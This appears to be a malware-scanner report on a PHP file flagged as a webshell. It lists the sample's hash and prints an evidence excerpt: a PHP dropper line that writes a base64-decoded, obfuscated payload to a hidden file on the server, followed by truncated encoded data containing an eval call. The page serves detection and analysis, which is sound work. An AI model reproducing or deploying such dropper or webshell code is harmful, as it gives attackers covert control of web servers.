Hostile 99% php Download

8dc8912cb64aa24aae73c17fae255ce72abd3ca67da26b30eae111b3d77bae87.php

php webshell containing base64 encoded payloadEncoded content decoded: base64
SHA-2568dc8912cb64aa24aae73c17fae255ce72abd3ca67da26b30eae111b3d77bae87
MaleculeMdTh

Evidence

Encoded content decoded: base64 line 1
1<?php $r=dirname(__FILE__)."/../../../fm_27156.php";$w=@file_put_contents($r,base64_decode("PD9waHANCg0KJGkxaT0nPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQoJT2JmdXNjYXRpb24gcHJvdmlkZWQgYnkgVW5rbm93bmRldmljZTY0IC0gRnJlZSBPbmxpbmUgUEhQIE9iZnVzY2F0b3INCgkJCQlodHRwOi8vd3d3LnVkNjQuY29tLw0KPT09PT …
php webshell containing base64 encoded payload line 1
1:26321… VG9Sd0pRdy9GTzR5U0tNOVV5akQ1N0RpMUFJYmJyZGJHellQWTNFS2xNRU44TUhnZ3AyQlovdi9NY0J1Tlp6aVFWUHNETDVCdzZWb2oyNEE5QXJDNi8valI9IikpKTtAZXZhbCgkdUQ2NF9jMG0oJyRrMHhFbT0iTUlLb29nZjRSQzJJYmh1UXY3a0R3aDB4WE5kZllNVGNZZEVTcGJuQlFZOEhtZDVmSGRhR3lJZ3FpYTdVcXY4QysyTkw1Q05abTV4bVVZMG9KWUdjQzcwU1Q3NWRmSlBUOG40TDA5cGx6c2RJRlQvR2pKUEVCWUJCVmx2dGgwYVVpSUJRYVFkL2I3dittcXdGZXNORkdsRTBlRWxLU1U5cmhDY0lTcFdjZ1RqZ …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.